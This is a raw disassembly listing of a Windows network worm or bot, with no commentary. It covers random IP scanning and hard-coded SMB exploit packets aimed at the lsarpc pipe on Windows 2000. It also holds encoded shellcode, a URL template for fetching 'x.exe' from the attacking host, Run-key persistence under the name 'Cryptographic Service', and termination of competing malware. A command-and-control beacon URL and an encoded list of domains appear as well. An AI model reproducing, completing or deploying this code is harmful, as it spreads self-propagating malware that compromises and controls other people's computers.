loc_3143280C: ; CODE XREF: sub_3143278A+Cj pop ebp retn 4 sub_3143278A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432810 proc near ; DATA XREF: UPX0:314329E2o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_314320B6 call sub_31432559 test eax, eax jnz loc_314328C9 push ebx mov ebx, dword_3143109C push esi mov esi, dword_314310FC push edi loc_31432836: ; CODE XREF: sub_31432810+48j ; sub_31432810+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_31432845: ; CODE XREF: sub_31432810+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_31432845 call sub_314321B4 mov edi, [ebp+var_4] cmp edi, eax jz short loc_31432836 call sub_314321F3 test eax, eax jz short loc_314328A1 push offset dword_31435044 call dword_314310D8 ; InterlockedIncrement push edi call sub_314319BC test eax, eax pop ecx jnz short loc_314328A8 push edi push offset sub_31432728 call sub_3143210D pop ecx mov [ebp+var_8], 4 pop ecx loc_3143288D: ; CODE XREF: sub_31432810+8Dj push edi push offset sub_3143278A call sub_3143210D dec [ebp+var_8] pop ecx pop ecx jnz short loc_3143288D jmp short loc_314328A8 ; --------------------------------------------------------------------------- loc_314328A1: ; CODE XREF: sub_31432810+51j push 2710h call ebx ; Sleep loc_314328A8: ; CODE XREF: sub_31432810+67j ; sub_31432810+8Fj call esi ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call ebx ; Sleep call sub_31432559 test eax, eax jz loc_31432836 pop edi pop esi pop ebx loc_314328C9: ; CODE XREF: sub_31432810+11j push 0 call dword_314310D4 ; ExitThread xor eax, eax leave retn 4 sub_31432810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314328D7 proc near ; CODE XREF: UPX0:314329A7p ; UPX0:loc_31432A0Dp var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_314321B4 push eax call dword_31431160 ; inet_ntoa mov esi, dword_31431068 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpyA push dword_3143503C lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_31431120 ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_314342E2 call esi ; lstrcpyA push offset byte_314342E0 call dword_31431088 ; lstrlenA mov byte_314342E0[eax], 0DFh pop esi leave retn sub_314328D7 endp ; --------------------------------------------------------------------------- loc_31432933: ; DATA XREF: sub_3143256D+174o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_31435044, ebx call sub_314321F3 mov esi, dword_3143109C mov edi, 1388h test eax, eax jnz short loc_31432961 loc_31432955: ; CODE XREF: UPX0:3143295Fj push edi call esi ; Sleep call sub_314321F3 test eax, eax jz short loc_31432955 loc_31432961: ; CODE XREF: UPX0:31432953j lea eax, [esp+14h] push ebx push eax call dword_31431134 ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_31435048, ebx pop ebp mov dword_3143504C, 96h jz short loc_314329A0 mov dword_31435048, 1 mov ebp, 15Eh mov dword_3143504C, 14h loc_314329A0: ; CODE XREF: UPX0:31432985j call sub_314321B4 mov ebx, eax call sub_314328D7 cmp ebx, 100007Fh jz short loc_314329C1 push ebx push offset sub_31432728 call sub_3143210D pop ecx pop ecx loc_314329C1: ; CODE XREF: UPX0:314329B2j mov dword ptr [esp+10h], 4 loc_314329C9: ; CODE XREF: UPX0:314329DAj push ebx push offset sub_3143278A call sub_3143210D dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_314329C9 test ebp, ebp jle short loc_314329F1 loc_314329E0: ; CODE XREF: UPX0:314329EFj push 0 push offset sub_31432810 call sub_3143210D pop ecx dec ebp pop ecx jnz short loc_314329E0 loc_314329F1: ; CODE XREF: UPX0:314329DEj ; UPX0:314329FDj ... call sub_314321F3 test eax, eax jz short loc_314329FF push edi call esi ; Sleep jmp short loc_314329F1 ; --------------------------------------------------------------------------- loc_314329FF: ; CODE XREF: UPX0:314329F8j ; UPX0:31432A0Bj call sub_314321F3 test eax, eax jnz short loc_31432A0D push edi call esi ; Sleep jmp short loc_314329FF ; --------------------------------------------------------------------------- loc_31432A0D: ; CODE XREF: UPX0:31432A06j call sub_314328D7 jmp short loc_314329F1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432A14 proc near ; CODE XREF: sub_31432BAD+93p ; sub_31432D2E+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3143100C ; RegOpenKeyExA test eax, eax jnz short loc_31432A47 push [ebp+arg_8] push [ebp+arg_4] call dword_31431010 ; RegDeleteValueA push [ebp+arg_4] call dword_31431014 ; RegCloseKey loc_31432A47: ; CODE XREF: sub_31432A14+1Cj pop ebp retn sub_31432A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432A49 proc near ; CODE XREF: sub_3143141F+28Ep ; sub_3143237F+33p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3143100C ; RegOpenKeyExA test eax, eax jz short loc_31432A75 push 1 pop eax jmp short loc_31432A9F ; --------------------------------------------------------------------------- loc_31432A75: ; CODE XREF: sub_31432A49+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31431008 ; RegQueryValueExA test eax, eax jz short loc_31432A94 push 2 pop esi loc_31432A94: ; CODE XREF: sub_31432A49+46j push [ebp+arg_10] call dword_31431014 ; RegCloseKey mov eax, esi loc_31432A9F: ; CODE XREF: sub_31432A49+2Aj pop esi leave retn sub_31432A49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432AA2 proc near ; CODE XREF: sub_3143141F+306p ; sub_31432C62+96p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31431000 ; RegCreateKeyExA test eax, eax jz short loc_31432ACB push 1 pop eax jmp short loc_31432AF2 ; --------------------------------------------------------------------------- loc_31432ACB: ; CODE XREF: sub_31432AA2+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31431004 ; RegSetValueExA test eax, eax jz short loc_31432AE7 push 2 pop esi loc_31432AE7: ; CODE XREF: sub_31432AA2+40j push [ebp+arg_4] call dword_31431014 ; RegCloseKey mov eax, esi loc_31432AF2: ; CODE XREF: sub_31432AA2+27j pop esi pop ebp retn sub_31432AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432AF5 proc near ; CODE XREF: sub_31432BAD+9Fp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_31431088 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_31432BA9 loc_31432B15: ; CODE XREF: sub_31432AF5+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_31432B1E dec esi jns short loc_31432B15 loc_31432B1E: ; CODE XREF: sub_31432AF5+24j push 0 push 2 call sub_31432EFC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_31432BA9 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31432EA6 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31432EF6 ; Process32First test eax, eax jz short loc_31432BA9 lea esi, [esi+ebx+1] loc_31432B66: ; CODE XREF: sub_31432AF5+B2j lea eax, [ebp+var_104] push eax push esi call dword_31431104 ; strstr pop ecx test eax, eax pop ecx jz short loc_31432B96 push [ebp+var_120] push 0 push 1F0FFFh call dword_314310B4 ; OpenProcess push 0 push eax call dword_31431060 ; TerminateProcess loc_31432B96: ; CODE XREF: sub_31432AF5+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31432EF0 ; Process32Next test eax, eax jnz short loc_31432B66 loc_31432BA9: ; CODE XREF: sub_31432AF5+1Aj ; sub_31432AF5+38j ... pop esi pop ebx leave retn sub_31432AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432BAD proc near ; CODE XREF: UPX0:31432536p var_13C = byte ptr -13Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push ebx push esi lea eax, [ebp+var_34] push edi mov [ebp+var_34], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_2C], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_28], offset aBotLoader ; "Bot Loader" mov [ebp+var_24], offset aSystray ; "SysTray" mov [ebp+var_20], offset aWinupdate ; "WinUpdate" mov [ebp+var_1C], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_18], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_10], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_C], offset aWindowsUpdate ; "Windows Update" mov [ebp+var_4], eax mov [ebp+var_8], 0Bh mov edi, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31432C1D: ; CODE XREF: sub_31432BAD+AEj mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_13C] push eax push ebx push edi push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_31432C54 push ebx push edi push esi call sub_31432A14 lea eax, [ebp+var_13C] push eax call sub_31432AF5 add esp, 10h loc_31432C54: ; CODE XREF: sub_31432BAD+8Ej add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31432C1D pop edi pop esi pop ebx leave retn sub_31432BAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432C62 proc near ; CODE XREF: sub_31432D2E+D1p ; sub_31432D2E+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31432C77 push [ebp+arg_0] call dword_31431074 ; DeleteFileA loc_31432C77: ; CODE XREF: sub_31432C62+Aj lea eax, [ebp+var_78] push 63h push eax call dword_31431090 ; GetSystemDirectoryA test eax, eax jz locret_31432D2C push esi call dword_314310FC ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_3143212E mov esi, dword_3143108C pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_314341F0 push eax call esi ; lstrcatA lea eax, [ebp+var_78] push offset dword_314341F8 push eax call esi ; lstrcatA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcatA lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31431050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_31431088 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_31432AA2 add esp, 14h push dword_31435034 call dword_31431080 ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31431054 ; WinExec push 1F4h call dword_3143109C ; Sleep push 0 call dword_314310E4 ; ExitProcess pop esi locret_31432D2C: ; CODE XREF: sub_31432C62+23j leave retn sub_31432C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432D2E proc near ; CODE XREF: UPX0:3143253Bp var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31431048 ; GetModuleFileNameA test eax, eax jz loc_31432E67 and dword_31435050, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_31432A49 add esp, 14h test eax, eax jz short loc_31432DB4 call dword_314310FC ; rand push 0Ah mov ebx, offset aFgnsdrjyrsert ; "fgnsdrjyrsert" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_3143212E pop ecx pop ecx push ebx call dword_31431088 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_31432AA2 add esp, 14h jmp short loc_31432DC3 ; --------------------------------------------------------------------------- loc_31432DB4: ; CODE XREF: sub_31432D2E+4Dj lea eax, [ebp+var_20] push eax push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" call dword_31431068 ; lstrcpyA loc_31432DC3: ; CODE XREF: sub_31432D2E+84j lea eax, [ebp+var_E8] push 63h push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_31432A49 add esp, 14h test eax, eax jz short loc_31432E09 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_31432AA2 lea eax, [ebp+var_84] push eax push 0 call sub_31432C62 add esp, 1Ch jmp short loc_31432E67 ; --------------------------------------------------------------------------- loc_31432E09: ; CODE XREF: sub_31432D2E+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3143104C ; lstrcmpiA test eax, eax jnz short loc_31432E52 lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_31432E67 push ebx push edi push esi mov dword_31435050, 1 call sub_31432A14 add esp, 0Ch jmp short loc_31432E67 ; --------------------------------------------------------------------------- loc_31432E52: ; CODE XREF: sub_31432D2E+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_31432C62 pop ecx pop ecx loc_31432E67: ; CODE XREF: sub_31432D2E+1Fj ; sub_31432D2E+D9j ... pop edi pop esi pop ebx leave retn sub_31432D2E endp ; =============== S U B R O U T I N E ======================================= sub_31432E6C proc near ; CODE XREF: sub_314311A0+CAp ; sub_31431782+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31431044 ; VirtualAlloc retn sub_31432E6C endp ; =============== S U B R O U T I N E ======================================= sub_31432E80 proc near ; CODE XREF: sub_314311A0+10Bp ; sub_31431782+C0p arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31431040 ; VirtualFree retn sub_31432E80 endp ; --------------------------------------------------------------------------- align 10h loc_31432EA0: ; DATA XREF: sub_3143141F+Ao ; sub_3143256D+Ao jmp dword ptr loc_31431100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EA6 proc near ; CODE XREF: sub_314319BC+128p ; sub_314319BC+134p ... jmp dword_314310F8 sub_31432EA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EAC proc near ; CODE XREF: sub_314319BC+9Cp ; sub_314319BC+C5p ... jmp dword_314310F4 sub_31432EAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EB2 proc near ; CODE XREF: sub_314319BC+93p ; sub_314319BC+B2p ... jmp dword_314310F0 sub_31432EB2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31432EC0 proc near ; CODE XREF: sub_314319BC+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31432EE0 loc_31432ECC: ; CODE XREF: sub_31432EC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31432ECC loc_31432EE0: ; CODE XREF: sub_31432EC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31432EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EF0 proc near ; CODE XREF: sub_31432AF5+ABp jmp dword_31431064 sub_31432EF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EF6 proc near ; CODE XREF: sub_31432AF5+64p jmp dword_3143105C sub_31432EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EFC proc near ; CODE XREF: sub_31432AF5+2Dp jmp dword_31431058 sub_31432EFC endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 43Fh dup(0) dword_31434000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_3143141F+11Do ; sub_3143141F+20Fo dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_31431782+84o align 10h byte_31434080 db 0 ; DATA XREF: sub_3143185D+1Br off_31434081 dd offset dword_314341E4 ; DATA XREF: sub_3143185D+23r align 2 dd offset dword_314341D4 dw 0C401h dd 1314341h, 314341B4h, 4341A000h, 41900131h, 80013143h dd 314341h, 31434174h, 43416800h, 41580131h, 48003143h dd 1314341h, 3143413Ch, 43417400h, 41D40131h, 30003143h dd 314341h, 314341D4h, 43412001h, 41480031h, 10013143h dd 314341h, 31434130h, 43410001h, 40F80131h, 74003143h dd 314341h, 31434130h, 2E767663h, 7572h, 2E777777h, 6C646572h dd 2E656E69h, 7572h, 656C6966h, 72616573h, 722E6863h, 75h dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh dd 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h dd 76h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dword_314341D4 dd 72617778h, 6A632E65h, 656E2E62h, 74hdword_314341E4 dd 617A616Dh, 616B6166h, 75722Ehdword_314341F0 dd 6578652Eh, 0 ; sub_31432239+55o ... dword_314341F8 dd 5Ch ; sub_31432C62+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314311A0+13o align 10h aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31431313+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31431313+Co align 4 aD db '%d',0 ; DATA XREF: sub_3143141F+2CCo align 4 dword_3143426C dd 444952h aSoftwareMicros db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_3143141F+259o aZer1 db 'zer1',0 ; DATA XREF: sub_3143141F:loc_314315B7o align 4 aZer0 db 'zer0',0 ; DATA XREF: sub_3143141F+34o align 4 aHttpS db 'http://%s',0 ; DATA XREF: sub_31431782+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=20&cnt=%s',0 ; DATA XREF: sub_31431782+57o align 10h byte_314342E0 db 0EBh ; DATA XREF: sub_314319BC+24Eo ; sub_314319BC+260o ... db 58h word_314342E2 dw 7468h ; DATA XREF: sub_314328D7+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_314345A8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_314319BC+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_31434634 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_314346E0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_314347C0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_314319BC+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_31434824 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_31434890 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_31434934 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_314349B4 dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31434A48 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31434AB4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31434B28 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31434BE6 dd 1004600h dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31434C20 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_314319BC+41Bo ; sub_314319BC+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_31434C98: ; DATA XREF: sub_314319BC+44Ao jmp short loc_31434CA0 ; --------------------------------------------------------------------------- jmp short loc_31434CA2 ; --------------------------------------------------------------------------- align 10h loc_31434CA0: ; CODE XREF: UPX0:loc_31434C98j ; DATA XREF: 